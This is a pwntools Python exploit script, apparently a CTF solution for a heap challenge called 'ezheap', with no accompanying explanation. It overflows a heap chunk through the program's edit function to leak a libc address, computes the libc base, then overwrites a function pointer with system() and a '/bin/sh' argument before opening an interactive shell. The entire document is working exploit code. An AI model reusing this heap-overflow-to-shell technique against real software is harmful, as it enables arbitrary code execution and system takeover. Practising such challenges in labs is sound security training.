1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
| from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
libc = ELF("./libc-2.23.so")
io = process("./ezheap")
# io = remote('node1.anna.nssctf.cn', 28720)
def s(payload: bytes) -> None:
return io.send(payload)
def sl(payload: bytes) -> None:
return io.sendline(payload)
def sa(message: str, payload: bytes) -> bytes:
return io.sendafter(message, payload)
def sla(message: str, payload: bytes) -> bytes:
return io.sendlineafter(message, payload)
def r(numb = None, timeout: float = 5) -> bytes:
return io.recv(numb, timeout)
def rl() -> bytes:
return io.recvline()
def ru(message, drop: bool = False, timeout: float = 5) -> bytes:
return io.recvuntil(message, drop=drop, timeout=timeout)
def i() -> None:
return io.interactive()
def add(index, size, name, content):
sla("Choice:", "1")
sla("Input your idx:", str(index))
sla("Size:", str(size))
sla("Name:", name)
sla("Content:", content)
def delete(index):
sla("Choice:", "2")
sla("Input your idx:", str(index))
def show(index):
sla("Choice:", "3")
sla("Input your idx:", str(index))
def edit(index, size, content):
sla("Choice:", "4")
sla("Input your idx:", str(index))
sla("Size:", str(size))
s(content)
# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)
libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
# get shell
system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
i()
|